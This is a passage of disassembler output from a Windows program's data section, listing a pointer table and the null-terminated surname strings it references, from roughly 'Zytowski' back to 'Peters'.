		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EF28o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EF24o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EF20o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EF1Co
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042EF18o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042EF14o
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042EF10o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042EF0Co
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042EF08o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EF04o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EF00o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EEFCo
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EEF8o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EEF4o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EEF0o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EEECo
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EEE8o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EEE4o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: ___:0042EEE0o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EEDCo
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EED8o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EED4o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EED0o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EECCo
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EEC8o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EEC4o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EEC0o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EEBCo
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EEB8o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EEB4o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EEB0o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EEACo
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EEA8o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EEA4o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EEA0o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EE9Co
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EE98o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EE94o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EE90o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EE8Co
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EE88o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EE84o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EE80o
aViens		db 'Viens',0            ; DATA XREF: ___:0042EE7Co
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EE78o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EE74o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EE70o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: ___:0042EE6Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EE68o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EE64o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EE60o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EE5Co
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EE58o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EE54o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EE50o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EE4Co
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EE48o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EE44o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EE40o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EE3Co
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EE38o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EE34o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EE30o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EE2Co
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EE28o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EE24o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EE20o
		align 10h
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EE1Co
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EE18o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EE14o
		align 10h
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EE10o
		align 10h
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EE0Co
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EE08o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EE04o
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EE00o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EDFCo
		align 4
aWales		db 'Wales',0            ; DATA XREF: ___:0042EDF8o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EDF4o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EDF0o
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EDECo
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EDE8o
		align 10h
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EDE4o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EDE0o
		align 10h
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EDDCo
		align 10h
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EDD8o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EDD4o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EDD0o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EDCCo
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EDC8o
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EDC4o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EDC0o
		align 10h
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EDBCo
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EDB8o
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EDB4o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EDB0o
		align 10h
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EDACo
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EDA8o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EDA4o
		align 10h
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EDA0o
aTruss		db 'Truss',0            ; DATA XREF: ___:0042ED9Co
		align 10h
aTroy		db 'Troy',0             ; DATA XREF: ___:0042ED98o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042ED94o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042ED90o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042ED8Co
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042ED88o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042ED84o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042ED80o
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: ___:0042ED7Co
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042ED78o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042ED74o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042ED70o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042ED6Co
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042ED68o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042ED64o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042ED60o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042ED5Co
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042ED58o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042ED54o
aTill		db 'Till',0             ; DATA XREF: ___:0042ED50o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042ED4Co
aThroop		db 'Throop',0           ; DATA XREF: ___:0042ED48o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042ED44o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042ED40o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042ED3Co
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042ED38o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042ED34o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042ED30o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042ED2Co
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042ED28o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042ED24o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: ___:0042ED20o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042ED1Co
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042ED18o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042ED14o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042ED10o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042ED0Co
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042ED08o
		align 10h
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042ED04o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042ED00o
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042ECFCo
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042ECF8o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042ECF4o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042ECF0o
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042ECECo
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042ECE8o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042ECE4o
		align 10h
aSuo		db 'Suo',0              ; DATA XREF: ___:0042ECE0o
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042ECDCo
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042ECD8o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042ECD4o
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042ECD0o
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042ECCCo
aStrange	db 'Strange',0          ; DATA XREF: ___:0042ECC8o
aStott		db 'Stott',0            ; DATA XREF: ___:0042ECC4o
		align 4
aStorer		db 'Storer',0           ; DATA XREF: ___:0042ECC0o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042ECBCo
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042ECB8o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042ECB4o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042ECB0o
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042ECACo
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042ECA8o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042ECA4o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042ECA0o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042EC9Co
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042EC98o
		align 10h
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042EC94o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042EC90o
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042EC8Co
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042EC88o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042EC84o
		align 4
aStang		db 'Stang',0            ; DATA XREF: ___:0042EC80o
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042EC7Co
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042EC78o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042EC74o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042EC70o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042EC6Co
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042EC68o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042EC64o
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042EC60o
aSpence		db 'Spence',0           ; DATA XREF: ___:0042EC5Co
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042EC58o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042EC54o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042EC50o
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042EC4Co
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042EC48o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: ___:0042EC44o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042EC40o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042EC3Co
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042EC38o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042EC34o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042EC30o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042EC2Co
		align 4
aSolon		db 'Solon',0            ; DATA XREF: ___:0042EC28o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042EC24o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042EC20o
		align 10h
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042EC1Co
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042EC18o
		align 10h
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042EC14o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042EC10o
		align 10h
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042EC0Co
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042EC08o
		align 10h
aSkane		db 'Skane',0            ; DATA XREF: ___:0042EC04o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042EC00o
		align 10h
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042EBFCo
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042EBF8o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042EBF4o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042EBF0o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042EBECo
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042EBE8o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042EBE4o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042EBE0o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042EBDCo
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042EBD8o
aShia		db 'Shia',0             ; DATA XREF: ___:0042EBD4o
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042EBD0o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042EBCCo
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042EBC8o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042EBC4o
		align 10h
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042EBC0o
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042EBBCo
		align 10h
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042EBB8o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042EBB4o
aShar		db 'Shar',0             ; DATA XREF: ___:0042EBB0o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042EBACo
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042EBA8o
		align 10h
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042EBA4o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042EBA0o
		align 10h
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042EB9Co
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042EB98o
		align 10h
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042EB94o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042EB90o
aSen		db 'Sen',0              ; DATA XREF: ___:0042EB8Co
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042EB88o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042EB84o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042EB80o
		align 10h
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042EB7Co
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042EB78o
		align 10h
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042EB74o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042EB70o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042EB6Co
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042EB68o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042EB64o
		align 10h
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042EB60o
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042EB5Co
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042EB58o
		align 10h
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042EB54o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042EB50o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042EB4Co
		align 10h
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042EB48o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042EB44o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042EB40o
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042EB3Co
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042EB38o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042EB34o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042EB30o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042EB2Co
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042EB28o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042EB24o
		align 4
aSatin		db 'Satin',0            ; DATA XREF: ___:0042EB20o
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042EB1Co
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042EB18o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042EB14o
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042EB10o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042EB0Co
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042EB08o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042EB04o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042EB00o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042EAFCo
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042EAF8o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042EAF4o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042EAF0o
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042EAECo
aRush		db 'Rush',0             ; DATA XREF: ___:0042EAE8o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042EAE4o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042EAE0o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042EADCo
		align 4
aRu		db 'Ru',0               ; DATA XREF: ___:0042EAD8o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042EAD4o
		align 10h
aRow		db 'Row',0              ; DATA XREF: ___:0042EAD0o
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042EACCo
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042EAC8o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042EAC4o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042EAC0o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042EABCo
		align 10h
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042EAB8o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042EAB4o
		align 10h
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042EAB0o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042EAACo
		align 10h
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042EAA8o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042EAA4o
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042EAA0o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042EA9Co
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042EA98o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042EA94o
		align 4
aRemak		db 'Remak',0            ; DATA XREF: ___:0042EA90o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042EA8Co
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042EA88o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042EA84o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042EA80o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042EA7Co
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042EA78o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042EA74o
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042EA70o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042EA6Co
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042EA68o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042EA64o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042EA60o
		align 10h
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042EA5Co
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042EA58o
		align 10h
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042EA54o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042EA50o
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042EA4Co
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042EA48o
		align 10h
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042EA44o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042EA40o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042EA3Co
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042EA38o
		align 10h
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042EA34o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042EA30o
aPresper	db 'Presper',0          ; DATA XREF: ___:0042EA2Co
aPowers		db 'Powers',0           ; DATA XREF: ___:0042EA28o
		align 10h
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042EA24o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042EA20o
		align 10h
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042EA1Co
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042EA18o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042EA14o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042EA10o
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042EA0Co
aPoincaire	db 'Poincaire',0        ; DATA XREF: ___:0042EA08o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: ___:0042EA04o
		align 10h
aPo		db 'Po',0               ; DATA XREF: ___:0042EA00o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: ___:0042E9FCo
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: ___:0042E9F8o
aPlant		db 'Plant',0            ; DATA XREF: ___:0042E9F4o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: ___:0042E9F0o
aPinot		db 'Pinot',0            ; DATA XREF: ___:0042E9ECo
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: ___:0042E9E8o
aPfister	db 'Pfister',0          ; DATA XREF: ___:0042E9E4o
aPettit		db 'Pettit',0           ; DATA XREF: ___:0042E9E0o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E9DCo
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E9D8o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E9D4o
